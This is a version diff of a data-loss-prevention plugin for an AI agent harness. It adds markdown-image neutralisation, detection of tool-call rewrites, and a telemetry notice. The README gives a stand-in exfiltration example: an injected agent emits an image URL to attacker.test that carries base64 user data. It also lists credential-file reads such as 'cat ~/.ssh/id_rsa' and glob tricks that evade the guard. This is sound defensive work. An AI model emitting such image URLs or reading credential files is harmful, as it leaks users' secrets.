dsh-dlp 0.2.0 → 0.3.0

package/README.md

@@ -3,7 +3,7 @@
 Data-loss prevention for [DeepSeek Harness](https://github.com/deepseek-ai/deepseek-harness),
 built as an out-of-repo plugin.
 
-It does five things:
+It does six things:
 
 1. **Denies credential-file access and secrets bound for the network** — unconditionally, from
    `ctx.tools.guard()`. It tests the path-typed arguments of a call against a table of
@@ -15,7 +15,11 @@ It does five things:
 4. **Strips the invisible characters that carry hidden instructions** out of tool results —
    the Tags block and bidi overrides — and counts the classes it will not touch because they
    also appear in legitimate text.
-5. **Writes an audit record for every decision** to its own sink — rule id, rule version,
+5. **Neutralises remote markdown images in assistant output**, and detects a tool call another
+   plugin rewrote after the session log recorded it. Both are partial mitigations for defects
+   in the harness rather than in your configuration —
+   [see below](#mitigations-for-defects-in-the-harness-itself), including what they do not close.
+6. **Writes an audit record for every decision** to its own sink — rule id, rule version,
    offsets, and a keyed hash. Never the secret, and never the path or command that matched.
    `dsh-dlp report` reads that sink back.
 
@@ -34,6 +38,12 @@ egress firewalling. Use this alongside them, not instead of them.
 
 More limits worth stating up front:
 
+- **Only the guard floor is unconditional.** Every other seam can be neutralised by a listener
+  registered ahead of ours: a `tools/pre-execute` listener that returns without calling `next()`
+  disables the breadth tier, and a `tools/post-execute` listener ahead of ours can replace a
+  result after it was redacted. `ctx.tools.guard()` is order-independent only because it has no
+  allow arm. A `tools/pre-execute` deny also skips guards entirely, so the audit sink cannot
+  claim to have seen every call.
 - **The shell-command arm is advisory pattern-matching.** A `bash` command line is split on
   shell-ish separators and each token is tested as a path. That catches an unobfuscated
   `cat ~/.ssh/id_rsa`. It catches nothing that tries: `cat ~/.netr?` (one glob character),
@@ -50,7 +60,8 @@ More limits worth stating up front:
 - **Already-logged history cannot be rewritten; a not-yet-logged inbound message can.** At
   `llm/stream` the options are deep-frozen and `next()` takes no arguments, so a request the
   agent has assembled goes out as it stands and a secret already in the conversation reaches
-  the provider. That is not the whole rule, though: `agent/pre-step` is an async waterfall
+  the provider. (The same waterfall's *response* side is writable, and that is where remote
+  image destinations are neutralised — see below.) That is not the whole rule, though: `agent/pre-step` is an async waterfall
   returning `{ kind: 'enter'; messages }`, and the only production append of `user/message`
   happens *after* it, so a message arriving from outside can still be rewritten before it is
   logged or presented. This release does not do that; it is recorded here because the earlier
@@ -71,8 +82,143 @@ More limits worth stating up front:
   is 100% for anything up to 22 characters, which is most of the credential formats worth
   catching. A detector that fires on the long ones the prefix rules already catch and misses
   the rest is not worth the false positives it costs.
+- **A secret containing a delimiter can still be split across two redactions.** Every reported
+  span grows outward to the nearest delimiter, which over-redacts in the safe direction, but a
+  secret whose own text contains one of those delimiters is covered by two placeholders with the
+  delimiter left between them.
+- **`additionalContexts` are not scanned.** They are model-visible `UserMessage` payloads and
+  this release does not redact them.
+- **Local writes are out of scope.** A `write` or `edit` into a synced directory moves data off
+  the machine without going through an egress-capable tool.
+- **Telemetry redaction covers a mounted backend's records only.** A second exporter mounted
+  outside the `session-telemetry/record` waterfall is not covered.
+- **`$DSH_HOME` is readable by a read-only tool.** Profile manifests and the installed plugin
+  tree are ordinary work to read, so which plugins a profile loads is model-visible. Only writes
+  are denied wholesale there, plus reads of the credential material inside it.
 
-The full list is in [PLAN.md §8](PLAN.md).
+---
+
+## Mitigations for defects in the harness itself
+
+Three of this plugin's registrations work around defects in DeepSeek Harness, not in a
+deployment's configuration. **None of them closes its channel**, an upstream fix is better in
+all three cases, and each is written up in `../disclosures/findings/`. They are here because we
+build on these seams today and wanted the accident case narrowed while the upstream question is
+open.
+
+### Remote markdown images in assistant output (finding 001)
+
+The web UI renders any absolute `http(s)` markdown image a model emits as a real `<img src>`,
+and the harness sets no Content-Security-Policy. An injected agent emitting
+`![](https://attacker.test/?d=<base64 of something you said>)` makes **your browser** issue that
+request; the harness process never sees it, so no guard, no DLP pass and no audit surface here
+can observe it.
+
+This plugin wraps the `llm/stream` waterfall and replaces the destination of every inline
+markdown image whose target is an absolute `http:`/`https:` URL, keeping the alt text:
+
+```
+![receipt](https://attacker.test/p?d=c2VjcmV0)   ->   ![receipt](dsh-dlp-blocked-remote-image)
+```
+
+The placeholder is deliberately not a URL, so the renderer takes its own "not an absolute
+destination" arm and shows the alt text instead of fetching anything. Rewriting happens before
+the text becomes an `assistant/chunk` or `assistant/message` event, so the session log and the
+rendered answer agree, and it happens on streamed deltas too — a destination arriving eight
+characters at a time is caught before any accumulation of it can render. The audit record names
+the **hostname only**, never the path or query string, because that is where an exfiltration
+payload rides.
+
+What it does not close:
+
+- **Only inline image syntax is matched.** A reference-style image (`![alt][ref]` with a
+  `[ref]: https://…` definition elsewhere) still renders and still fetches. We do not neutralise
+  those, because the definition is shared with ordinary links and killing it would break them.
+- **A destination form the pattern does not model gets through** — an alt text containing `]`,
+  unusual percent-encodings, or any future renderer-accepted syntax.
+- **Reasoning text is not touched**, because the UI renders it as plain text rather than
+  markdown. If that changes upstream, this stops covering it.
+- Raw HTML needs no handling: the renderer keeps `<img …>` as literal text and no HTML enters
+  the DOM. That is upstream doing the right thing, and it is why this only has to handle
+  markdown.
+- **This is a real behavioural change.** An assistant answer that legitimately links an image
+  loses it — the user sees the alt text instead of the picture. That is why it is a switch:
+  `remoteImageNeutralization: false` turns it off, and a deployment whose agents produce useful
+  images should turn it off and set a CSP at whatever serves the UI instead.
+- **The upstream fix is one `img-src` directive** in a Content-Security-Policy. That covers
+  every form, every client, and every channel of this shape at once. This plugin's version
+  covers the common syntax on one seam. Prefer the directive.
+
+### A tool call rewritten between `tools/pre-execute` and the guard (finding 002)
+
+The registry deep-freezes `exec.arguments` but does not freeze the execution object until
+results are notified. A `tools/pre-execute` listener can therefore reassign `exec.arguments` or
+`exec.name` — and reassigning `exec.name` **changes which tool body runs** — while the agent
+loop appended `tool/call` from the model's own response block *before* the waterfall ran. The
+durable record then describes a call that never happened, and nothing warns anyone.
+
+This plugin snapshots each call's name and a keyed digest of its arguments at the head of the
+waterfall, and compares in the guard, which runs after the whole waterfall. A mismatch is
+**denied**, with an audit record naming which field changed and, when the name changed, the tool
+the log recorded:
+
+```
+dsh-dlp denied "dangerous": another mounted plugin rewrote this call's name after the session
+log recorded it, so the log and the presented call describe something other than what would
+have run. The session log records a call to "safe". ...
+```
+
+What it does not close:
+
+- **It detects; it does not prevent.** Preventing the rewrite means freezing an object this
+  plugin does not own, which would break `tools/execute` wrappers that legitimately replace
+  `exec.signal`. The tool body does not run, but the mutation still happened.
+- **The snapshot is best-effort, not a floor.** It is registered with `{ prepend: true }`, so it
+  runs before listeners registered earlier — but a listener registered *later* with the same
+  option runs ahead of it and would be snapshotted after its own rewrite.
+- **A call this plugin never saw is never a finding.** Absence of a snapshot means abstain, so
+  scoped dispatches this listener does not receive pass unremarked rather than being denied.
+- **It says nothing about other plugins' decisions.** A `deny` or an `ask` from another
+  `tools/pre-execute` listener is ordinary traffic; a deny also skips the guard entirely, so
+  nothing here is even consulted.
+- **The upstream fix is better**: two `Object.defineProperty(execution, …, { writable: false })`
+  calls at the mint site, or a scheduler-invariant throw naming the offending plugin. Either
+  makes the rewrite impossible or fatal at the source instead of denying a call downstream of
+  it. This check is not configurable, for the same reason the rest of the floor is not.
+
+### The telemetry redactor cannot run under the shipped default (finding 008)
+
+A `session-telemetry/record` listener mounts successfully and **silently never runs** under the
+shipped `DSH_TELEMETRY_MODE=DISABLED`, because the coordinator that dispatches the waterfall is
+constructed only in `FULL`/`FEEDBACK_ONLY`. Nothing is exported in that mode, so this is not a
+leak — it is a verification trap: you mount a redactor, see it mount, and have verified nothing.
+
+When `telemetryRedaction` is on, this plugin reads the mounted backend's own `sharing`
+disclosure and reports on `process.stderr` **and** `ctx.logger` when the seam will never
+dispatch:
+
+```
+dsh-dlp: telemetryRedaction is enabled, but the mounted session-telemetry backend reports
+sharing "disabled", so nothing dispatches the session-telemetry/record waterfall and this
+plugin's telemetry redaction never runs. Nothing is exported in this state, so this is not a
+leak — it means the redaction rules are unverified, and they begin running the moment
+telemetry is turned on. Informational only: the plugin's other seams are unaffected.
+```
+
+What it does not close:
+
+- **It is informational and never fatal.** `DISABLED` is the safe default and the right posture
+  for most deployments; the plugin mounts and every other seam runs normally.
+- **It reads a disclosure, not the environment.** `DSH_TELEMETRY_MODE` is only the base
+  bundle's default expression for a `mode` a deployment can also set directly, so guessing at
+  the variable would be wrong. If a backend discloses `full` or `feedback-only` while
+  dispatching nothing, this says nothing.
+- **A backend that mounts after this plugin is answered late.** The check runs at mount if the
+  service is already there and otherwise at the first session event, because absence at mount
+  cannot be told apart from a load order.
+- **The upstream fix is better**: warn at mount when a `session-telemetry/record` hook exists
+  under `DISABLED`, or construct the coordinator unconditionally and drop after the waterfall.
+  Either makes the trap visible for every listener, not only ours.
 
 ---
 
@@ -118,6 +264,7 @@ dsh plugin --profile <name> add ./dsh-dlp-0.1.0.tgz
     breadthTier: true
     resultRedaction: true
     telemetryRedaction: true
+    remoteImageNeutralization: true
     redactTelemetryWorkspacePaths: true
 ```
 
@@ -383,7 +530,11 @@ its own identity.
 }
 ```
 
-`kind` is one of `guard-deny`, `pre-execute-deny`, `result-redaction`, `telemetry-redaction`.
+`kind` is one of `guard-deny`, `pre-execute-deny`, `execution-mutation`, `result-redaction`,
+`telemetry-redaction`, `assistant-image-neutralized`. An `execution-mutation` record carries
+`mutatedFields` and, when a tool substitution happened, the `originalTool` the log recorded. An
+`assistant-image-neutralized` record carries `host` — the hostname of the blocked destination
+and nothing else from the URL.
 A `result-redaction` record may also carry `unicode`, a count of invisible-character runs per
 class — counts only, because a hidden instruction is exactly the content this file must not
 repeat. A record is written whenever there is something to say, including a result that was

package/SECURITY.md

@@ -29,7 +29,7 @@ otherwise.
 
 This plugin is **not a containment boundary**. It runs in-process at the agent's own uid, so
 anything the agent can execute can read the same files the guard denies. The following are
-documented limits, not vulnerabilities — they are described in README.md and PLAN.md §8:
+documented limits, not vulnerabilities — they are described in README.md:
 
 - shell-command obfuscation defeating the `bash` path arm (globbing, quoting, substitution, a
   different binary);

package/cordis.patch.yml

@@ -19,4 +19,5 @@
         breadthTier: true
         resultRedaction: true
         telemetryRedaction: true
+        remoteImageNeutralization: true
         redactTelemetryWorkspacePaths: true

package/lib/cli.js

@@ -16,7 +16,7 @@ import { readFileSync, realpathSync } from 'node:fs';
 import { fileURLToPath } from 'node:url';
 import { defaultAuditLog } from "./home.js";
 /** Decision kinds that stopped a call, as opposed to rewriting its result. */
-const DENYING_KINDS = new Set(['guard-deny', 'pre-execute-deny']);
+const DENYING_KINDS = new Set(['guard-deny', 'pre-execute-deny', 'execution-mutation']);
 /** How many decisions the report lists individually. */
 const RECENT_LIMIT = 10;
 /** Read one string field, or `undefined` when the line does not carry it. */

package/lib/images.js

@@ -0,0 +1,183 @@
+/**
+ * Neutralising remote markdown images in assistant output, on the `llm/stream`
+ * waterfall.
+ *
+ * The web UI renders any absolute `http:`/`https:` markdown image a model
+ * emits as a real `<img src>`, and the harness sets no Content-Security-Policy,
+ * so the fetch happens in the user's browser where no host-side listener can
+ * see it. This module rewrites the destination out of the assistant's text
+ * before it becomes an `assistant/chunk` or `assistant/message` session event,
+ * so the log and the rendered answer stay in agreement.
+ *
+ * Two properties this module exists to hold:
+ *
+ * - **A destination split across chunks is still caught.** The mock and real
+ *   adapters both emit text in small deltas, so `![alt](https://host/x)` is
+ *   routinely spread over several of them and the browser renders the
+ *   accumulation. Text that could still be the start of an image is held back
+ *   until it either completes or exceeds {@link MAX_HELD_CHARACTERS}.
+ * - **Only the destination is replaced.** The alt text survives, so the
+ *   sentence the model wrote still reads, and the renderer's own
+ *   non-absolute-URL arm shows that alt text instead of fetching anything.
+ *
+ * This does not close the channel. It matches inline image syntax only:
+ * reference-style images, an alt text carrying a `]`, and any destination form
+ * the pattern does not model still reach the renderer. Raw HTML needs no
+ * handling — the renderer keeps it as literal text and no HTML enters the DOM
+ * (`packages/client/ui-primitives/src/markdown/render.tsx:261-263`). The
+ * upstream fix is one `img-src` directive.
+ * @module dsh-dlp/images
+ */
+/**
+ * Destination substituted for a remote image URL.
+ *
+ * It is deliberately not a URL: `new URL()` throws on it, which is the
+ * renderer's own "not an absolute destination" arm, and that arm renders the
+ * alt text as a `<span>` instead of emitting an `<img>`.
+ */
+export const BLOCKED_IMAGE_DESTINATION = 'dsh-dlp-blocked-remote-image';
+/**
+ * One inline image: alt text, destination, optional title.
+ *
+ * The destination is either an angle-bracketed form or a run of characters
+ * with no whitespace and no parenthesis, which is what CommonMark accepts
+ * without balanced-parenthesis nesting.
+ */
+const INLINE_IMAGE = /!\[([^\]]*)\]\(\s*(<[^<>\n]*>|[^\s()]*)((?:\s+(?:"[^"]*"|'[^']*'|\([^()]*\)))?)\s*\)/g;
+/**
+ * Text that could still become an inline image once more of the stream
+ * arrives: an alt text still open, a closed alt text followed by `(`, or a
+ * destination not yet closed.
+ */
+const PARTIAL_IMAGE = /^!\[[^\]]*(?:\](?:\((?:\s*(?:<[^<>\n]*|[^\s()]*))?)?)?$/;
+/**
+ * Longest suffix held back waiting for an image to complete.
+ *
+ * Held text is text the user cannot see yet, so the wait is bounded: past this
+ * many characters the suffix is emitted as it stands and a destination that
+ * completes later is caught only by the assembled block. A protocol bound on
+ * this module's own buffering, not a deployment choice.
+ */
+export const MAX_HELD_CHARACTERS = 4096;
+/**
+ * The hostname of an absolute `http(s)` destination.
+ * @param destination - the image destination exactly as the model wrote it.
+ * @returns the hostname, or `undefined` when the destination is not an absolute HTTP(S) URL.
+ */
+function remoteHost(destination) {
+    const trimmed = destination.startsWith('<') && destination.endsWith('>')
+        ? destination.slice(1, -1)
+        : destination;
+    let url;
+    try {
+        url = new URL(trimmed);
+    }
+    catch {
+        // The only failure mode for a string: not an absolute URL, which the
+        // renderer also refuses, so there is nothing to neutralise.
+        return undefined;
+    }
+    return url.protocol === 'http:' || url.protocol === 'https:' ? url.hostname : undefined;
+}
+/**
+ * Replace every absolute HTTP(S) inline image destination in one string.
+ * @param text - assistant text, whole or partial.
+ * @returns the rewritten text and the hosts whose destinations were replaced.
+ */
+export function neutralizeRemoteImages(text) {
+    const hosts = [];
+    const rewritten = text.replace(INLINE_IMAGE, (match, alt, destination, title) => {
+        const host = remoteHost(destination);
+        if (host === undefined)
+            return match;
+        hosts.push(host);
+        return `![${alt}](${BLOCKED_IMAGE_DESTINATION}${title})`;
+    });
+    return { text: rewritten, hosts };
+}
+/**
+ * Where the held suffix of a partially streamed string starts.
+ * @param text - everything accumulated for one block and not yet emitted.
+ * @returns the offset to emit up to; the string's length when nothing is held.
+ */
+export function heldSuffixStart(text) {
+    const marker = text.lastIndexOf('![');
+    if (marker !== -1 && text.length - marker <= MAX_HELD_CHARACTERS && PARTIAL_IMAGE.test(text.slice(marker))) {
+        return marker;
+    }
+    return text.endsWith('!') ? text.length - 1 : text.length;
+}
+/**
+ * Wrap one model stream, replacing remote image destinations in its text.
+ *
+ * Text deltas are rewritten as they pass, with a possible image start held
+ * back until it resolves, and the assembled block on `block-end` — which is
+ * what the agent loop turns into the assistant message — is rewritten too. A
+ * held suffix is always flushed as a delta before the block closes and before
+ * the terminal finish, so no text is lost and the emitted chunks still satisfy
+ * the stream grammar.
+ * @param source - the stream from the rest of the waterfall.
+ * @param onNeutralized - notified once per host per text block.
+ * @returns the rewritten stream.
+ */
+export async function* neutralizeImageStream(source, onNeutralized) {
+    const held = new Map();
+    const reported = new Map();
+    /** Report each host once per block: the deltas and the assembled block carry the same text. */
+    const report = (index, hosts) => {
+        let seen = reported.get(index);
+        if (seen === undefined) {
+            seen = new Set();
+            reported.set(index, seen);
+        }
+        for (const host of hosts) {
+            if (seen.has(host))
+                continue;
+            seen.add(host);
+            onNeutralized(host);
+        }
+    };
+    /** Emit whatever one block is still holding, so a close or a finish loses nothing. */
+    function* flush(index) {
+        const pending = held.get(index);
+        held.delete(index);
+        if (pending !== undefined && pending.length > 0)
+            yield { type: 'text-delta', index, text: pending };
+    }
+    for await (const chunk of source) {
+        switch (chunk.type) {
+            case 'text-delta': {
+                const { text, hosts } = neutralizeRemoteImages((held.get(chunk.index) ?? '') + chunk.text);
+                report(chunk.index, hosts);
+                const cut = heldSuffixStart(text);
+                held.set(chunk.index, text.slice(cut));
+                if (cut > 0)
+                    yield { ...chunk, text: text.slice(0, cut) };
+                break;
+            }
+            case 'block-end': {
+                yield* flush(chunk.index);
+                if (chunk.block.type !== 'text') {
+                    yield chunk;
+                    break;
+                }
+                const { text, hosts } = neutralizeRemoteImages(chunk.block.text);
+                report(chunk.index, hosts);
+                yield text === chunk.block.text ? chunk : { ...chunk, block: { ...chunk.block, text } };
+                break;
+            }
+            case 'finish': {
+                for (const index of [...held.keys()])
+                    yield* flush(index);
+                yield chunk;
+                break;
+            }
+            default:
+                yield chunk;
+        }
+    }
+    // Only a stream that ended without a terminal finish reaches this: the
+    // grammar forbids emitting after one, so the flush above already ran.
+    for (const index of [...held.keys()])
+        yield* flush(index);
+}

package/lib/index.js

@@ -14,6 +14,15 @@
  *    a result that cannot be cleaned is withheld rather than accepted.
  * 4. `session-telemetry/record` — fail-closed redaction of exported telemetry,
  *    reaching tier 1 only because the waterfall is synchronous.
+ * 5. `llm/stream` — neutralising remote markdown image destinations in
+ *    assistant output, before the text becomes a session event.
+ *
+ * Three of those registrations mitigate defects in the harness rather than in
+ * a deployment's own configuration: the missing Content-Security-Policy behind
+ * (5), the mutable execution object behind the guard's mutation check, and the
+ * silently inert telemetry seam behind the notice reported at mount. Each one
+ * is partial, none closes its channel, and README.md says so beside the
+ * feature.
  *
  * This plugin is not a containment boundary. It runs in-process at the agent's
  * own uid; anything the agent can execute can read the same files the guard
@@ -25,8 +34,10 @@ import { readFileSync, writeFileSync } from 'node:fs';
 import { loadRepoPolicy, resolvePolicy } from "./policy.js";
 import { SpanHasher } from "./redaction.js";
 import { safeEvaluateGuard } from "./guard.js";
+import { neutralizeImageStream } from "./images.js";
+import { ExecutionSnapshots, mutationReason } from "./mutation.js";
 import { breadthTierDenial, evaluateBreadthTier, redactDecision } from "./results.js";
-import { redactRecord } from "./telemetry.js";
+import { redactRecord, telemetrySeamNotice } from "./telemetry.js";
 import { AuditSink, CallCorrelator, newDecisionId, RECORD_VERSION } from "./sink.js";
 export { Config } from "./policy.js";
 /** Display metadata; labels the plugin in Cordis diagnostics. */
@@ -84,6 +95,16 @@ function report(ctx, message) {
     ctx.logger.error(message);
     process.stderr.write(`${message}\n`);
 }
+/**
+ * Report something the operator should know that is not a fault, on the same
+ * two channels and for the same reason as {@link report}.
+ * @param ctx - the plugin's context, used for its logger.
+ * @param message - the whole line to report.
+ */
+function notice(ctx, message) {
+    ctx.logger.warn(message);
+    process.stderr.write(`${message}\n`);
+}
 /**
  * Load the repo-local policy tier, if the deployment named one.
  *
@@ -138,7 +159,30 @@ export function apply(ctx, config) {
             ...position === undefined ? {} : { turn: position.turn, step: position.step },
         };
     };
+    const snapshots = new ExecutionSnapshots(hasher);
+    /**
+     * Report the telemetry seam's state once.
+     *
+     * At mount only a backend that is already there answers the question: the
+     * backend can load after this plugin, and calling that absence "inert" would
+     * be a false alarm. `conclusive` marks the later call, made once the harness
+     * is running sessions, where an absent backend really means no dispatcher.
+     */
+    let telemetrySeamReported = false;
+    const discloseTelemetrySeam = (conclusive) => {
+        if (telemetrySeamReported)
+            return;
+        const backend = ctx.get('sessionTelemetry');
+        if (backend === undefined && !conclusive)
+            return;
+        telemetrySeamReported = true;
+        const line = telemetrySeamNotice(backend?.sharing);
+        if (line !== undefined)
+            notice(ctx, line);
+    };
     ctx.on('session/event', (_session, event) => {
+        if (policy.telemetryRedaction)
+            discloseTelemetrySeam(true);
         if (event.type === 'tool/call') {
             correlator.note(event.data.callId, { turn: event.data.turn, step: event.data.step });
             return;
@@ -147,9 +191,32 @@ export function apply(ctx, config) {
             correlator.forget(event.data.message.source.callId);
         }
     });
+    // Snapshot each call before the rest of the waterfall can rewrite it. The
+    // prepend is best-effort by construction: a listener registered later with
+    // the same option runs ahead of this one.
+    ctx.on('tools/pre-execute', (exec, next) => {
+        snapshots.record(exec);
+        return next();
+    }, { prepend: true });
     // The floor. Registered on a plain context so it applies globally: to every
     // agent, every `run_code` inner sub-call, and every subagent child.
     ctx.effect(() => ctx.tools.guard((exec) => {
+        // Integrity first: a call whose name or arguments changed after `tool/call`
+        // was appended is denied whatever the policy tables say about it, because
+        // the log no longer describes what would run.
+        const mutation = snapshots.detect(exec);
+        if (mutation !== undefined) {
+            sink.write({
+                v: RECORD_VERSION,
+                time: new Date().toISOString(),
+                kind: 'execution-mutation',
+                decisionId: newDecisionId(),
+                ...identity(exec),
+                mutatedFields: mutation.fields,
+                ...mutation.fields.includes('name') ? { originalTool: mutation.originalTool } : {},
+            });
+            return mutationReason(exec, mutation);
+        }
         const verdict = safeEvaluateGuard(exec, policy, hasher);
         if (verdict === undefined)
             return undefined;
@@ -212,7 +279,20 @@ export function apply(ctx, config) {
             return redacted.decision;
         });
     }
+    if (policy.remoteImageNeutralization) {
+        ctx.on('llm/stream', (options, next) => neutralizeImageStream(next(), (host) => {
+            sink.write({
+                v: RECORD_VERSION,
+                time: new Date().toISOString(),
+                kind: 'assistant-image-neutralized',
+                decisionId: newDecisionId(),
+                ...options.sessionId === undefined ? {} : { sessionId: String(options.sessionId) },
+                host,
+            });
+        }));
+    }
     if (policy.telemetryRedaction) {
+        discloseTelemetrySeam(false);
         ctx.on('session-telemetry/record', (_record, next) => {
             // Throwing here withholds this one record; the coordinator contains it
             // and the agent loop never sees the failure. That is the fail-closed

package/lib/mutation.js

@@ -0,0 +1,102 @@
+/**
+ * Detecting a tool call that was rewritten after it was logged.
+ *
+ * The registry deep-freezes `exec.arguments` but does not freeze the execution
+ * object until results are notified, so a `tools/pre-execute` listener can
+ * reassign `exec.arguments` or `exec.name` — and reassigning `exec.name`
+ * changes which tool body runs. The agent loop appended `tool/call` from the
+ * model's own response block before the waterfall ran, so nothing in the
+ * session log records the change: the durable record then describes a
+ * different call than the one about to execute.
+ *
+ * This module snapshots the call as early in the waterfall as it can and
+ * compares in the guard, which runs after the whole waterfall and cannot be
+ * out-ordered. It is detection, not prevention: preventing the rewrite would
+ * mean freezing an object this plugin does not own, and the snapshot itself is
+ * best-effort — a later `{ prepend: true }` registration runs ahead of ours and
+ * would be snapshotted after its own rewrite.
+ * @module dsh-dlp/mutation
+ */
+/**
+ * Render a JSON value with object keys in a fixed order, so two equal argument
+ * sets hash equally whatever order a listener rebuilt them in.
+ * @param value - the argument value; JSON-serializable by the registry's own snapshot step.
+ * @returns a canonical string for hashing.
+ */
+export function canonicalJson(value) {
+    if (Array.isArray(value))
+        return `[${value.map(canonicalJson).join(',')}]`;
+    if (typeof value === 'object' && value !== null) {
+        return `{${Object.keys(value).sort().map(key => `${JSON.stringify(key)}:${canonicalJson(value[key])}`).join(',')}}`;
+    }
+    // `undefined` has no JSON rendering; it reaches here only for an execution
+    // whose arguments never materialized, which the registry fails before the
+    // waterfall. A fixed token keeps the digest total either way.
+    return JSON.stringify(value) ?? 'undefined';
+}
+/**
+ * Remembers what each pending call looked like before the rest of the
+ * `tools/pre-execute` waterfall ran.
+ *
+ * Keyed by the execution object's identity in a `WeakMap`, the way the
+ * registry keys its own per-execution state, so the entry is found again in
+ * the guard and released with the execution.
+ */
+export class ExecutionSnapshots {
+    #snapshots = new WeakMap();
+    #hasher;
+    /**
+     * @param hasher - mints the keyed digest of the arguments; the values themselves are never stored.
+     */
+    constructor(hasher) {
+        this.#hasher = hasher;
+    }
+    /**
+     * Snapshot one pending call.
+     * @param exec - the execution as the earliest listener sees it.
+     */
+    record(exec) {
+        this.#snapshots.set(exec, { name: exec.name, digest: this.#hasher.hash(canonicalJson(exec.arguments)) });
+    }
+    /**
+     * Compare one call against its snapshot.
+     *
+     * A call with no snapshot is not a finding: the listener may never have run
+     * for it, and reporting absence as mutation would deny calls this plugin
+     * simply did not observe.
+     * @param exec - the execution as the guard stage sees it.
+     * @returns what changed, or `undefined` when nothing did.
+     */
+    detect(exec) {
+        const snapshot = this.#snapshots.get(exec);
+        if (snapshot === undefined)
+            return undefined;
+        const fields = [];
+        if (exec.name !== snapshot.name)
+            fields.push('name');
+        if (this.#hasher.hash(canonicalJson(exec.arguments)) !== snapshot.digest)
+            fields.push('arguments');
+        return fields.length === 0 ? undefined : { fields, originalTool: snapshot.name };
+    }
+}
+/**
+ * Denial text for a rewritten call.
+ *
+ * Both tool names are named: a tool name is already in the session log and in
+ * every other denial this plugin writes, and naming them is the whole point —
+ * the operator needs to know which call the log describes and which one was
+ * about to run. No argument value appears.
+ * @param exec - the call as the guard sees it, after the rewrite.
+ * @param mutation - the fields that changed and the recorded tool name.
+ * @returns the model-facing reason.
+ */
+export function mutationReason(exec, mutation) {
+    const changed = mutation.fields.join(' and ');
+    const renamed = mutation.fields.includes('name')
+        ? ` The session log records a call to ${JSON.stringify(mutation.originalTool)}.`
+        : '';
+    return `dsh-dlp denied ${JSON.stringify(exec.name)}: another mounted plugin rewrote this call's ${changed} `
+        + `after the session log recorded it, so the log and the presented call describe something other than what `
+        + `would have run.${renamed} The call is denied because a tool call that cannot be reconstructed from the log `
+        + 'is not auditable. This is a defect in a mounted plugin, not in the call; report it to the deployment operator.';
+}

package/lib/policy.js

@@ -29,10 +29,17 @@ export const Config = z.object({
     breadthTier: z.boolean().default(true),
     resultRedaction: z.boolean().default(true),
     telemetryRedaction: z.boolean().default(true),
+    remoteImageNeutralization: z.boolean().default(true),
     redactTelemetryWorkspacePaths: z.boolean().default(true),
 });
 /** Config toggles a repo-local policy may switch on, and never off. */
-const ENABLEABLE = ['breadthTier', 'resultRedaction', 'telemetryRedaction', 'redactTelemetryWorkspacePaths'];
+const ENABLEABLE = [
+    'breadthTier',
+    'resultRedaction',
+    'telemetryRedaction',
+    'remoteImageNeutralization',
+    'redactTelemetryWorkspacePaths',
+];
 /** Keys a repo-local policy file may carry; anything else fails the load. */
 const POLICY_KEYS = ['v', 'addCredentialPaths', 'addEgressTools', 'raiseSeverity', 'enable'];
 /** Payload version this package writes and accepts for repo-local policy files. */
@@ -268,6 +275,7 @@ export function resolvePolicy(config, repo) {
         breadthTier: enabled('breadthTier'),
         resultRedaction: enabled('resultRedaction'),
         telemetryRedaction: enabled('telemetryRedaction'),
+        remoteImageNeutralization: enabled('remoteImageNeutralization'),
         redactTelemetryWorkspacePaths: enabled('redactTelemetryWorkspacePaths'),
     };
 }

package/lib/telemetry.js

@@ -27,6 +27,35 @@
  */
 import { scanSync } from "./detectors.js";
 import { placeholderFor, redactJson, redactText } from "./redaction.js";
+/**
+ * What to tell the operator when the redaction seam will never dispatch.
+ *
+ * A `session-telemetry/record` listener mounts successfully and never runs
+ * unless a backend built a coordinator, and the shipped default builds none:
+ * the mode is `DISABLED`, so nothing is exported and nothing is dispatched.
+ * That is the safe posture, not a leak — but an operator who mounts a redactor
+ * under it sees every signal of success and has verified nothing. The
+ * backend's own `sharing` disclosure is the resolved answer, so this never
+ * guesses at `DSH_TELEMETRY_MODE`, which is only the base patch's default
+ * expression for a `mode` a deployment can also set directly.
+ * @param sharing - the mounted backend's disclosure, or `undefined` when no backend is mounted.
+ * @returns the line to report, or `undefined` when the seam does dispatch.
+ */
+export function telemetrySeamNotice(sharing) {
+    const consequence = 'nothing dispatches the session-telemetry/record waterfall and this plugin\'s telemetry'
+        + ' redaction never runs. Nothing is exported in this state, so this is not a leak — it means the redaction'
+        + ' rules are unverified, and they begin running the moment telemetry is turned on. Informational only: the'
+        + ' plugin\'s other seams are unaffected.';
+    switch (sharing) {
+        case 'disabled':
+            return 'dsh-dlp: telemetryRedaction is enabled, but the mounted session-telemetry backend reports sharing'
+                + ` "disabled", so ${consequence}`;
+        case undefined:
+            return `dsh-dlp: telemetryRedaction is enabled, but no session-telemetry backend is mounted, so ${consequence}`;
+        default:
+            return undefined;
+    }
+}
 /** Attribute keys whose values are filesystem paths rather than payload text. */
 const PATH_ATTRIBUTES = ['session.cwd'];
 /** Rule identity recorded when a workspace path is replaced. */

package/lib/types/images.d.ts

@@ -0,0 +1,81 @@
+/**
+ * Neutralising remote markdown images in assistant output, on the `llm/stream`
+ * waterfall.
+ *
+ * The web UI renders any absolute `http:`/`https:` markdown image a model
+ * emits as a real `<img src>`, and the harness sets no Content-Security-Policy,
+ * so the fetch happens in the user's browser where no host-side listener can
+ * see it. This module rewrites the destination out of the assistant's text
+ * before it becomes an `assistant/chunk` or `assistant/message` session event,
+ * so the log and the rendered answer stay in agreement.
+ *
+ * Two properties this module exists to hold:
+ *
+ * - **A destination split across chunks is still caught.** The mock and real
+ *   adapters both emit text in small deltas, so `![alt](https://host/x)` is
+ *   routinely spread over several of them and the browser renders the
+ *   accumulation. Text that could still be the start of an image is held back
+ *   until it either completes or exceeds {@link MAX_HELD_CHARACTERS}.
+ * - **Only the destination is replaced.** The alt text survives, so the
+ *   sentence the model wrote still reads, and the renderer's own
+ *   non-absolute-URL arm shows that alt text instead of fetching anything.
+ *
+ * This does not close the channel. It matches inline image syntax only:
+ * reference-style images, an alt text carrying a `]`, and any destination form
+ * the pattern does not model still reach the renderer. Raw HTML needs no
+ * handling — the renderer keeps it as literal text and no HTML enters the DOM
+ * (`packages/client/ui-primitives/src/markdown/render.tsx:261-263`). The
+ * upstream fix is one `img-src` directive.
+ * @module dsh-dlp/images
+ */
+import type { StreamChunk } from '@deepseek-ai/dsh-llm';
+/**
+ * Destination substituted for a remote image URL.
+ *
+ * It is deliberately not a URL: `new URL()` throws on it, which is the
+ * renderer's own "not an absolute destination" arm, and that arm renders the
+ * alt text as a `<span>` instead of emitting an `<img>`.
+ */
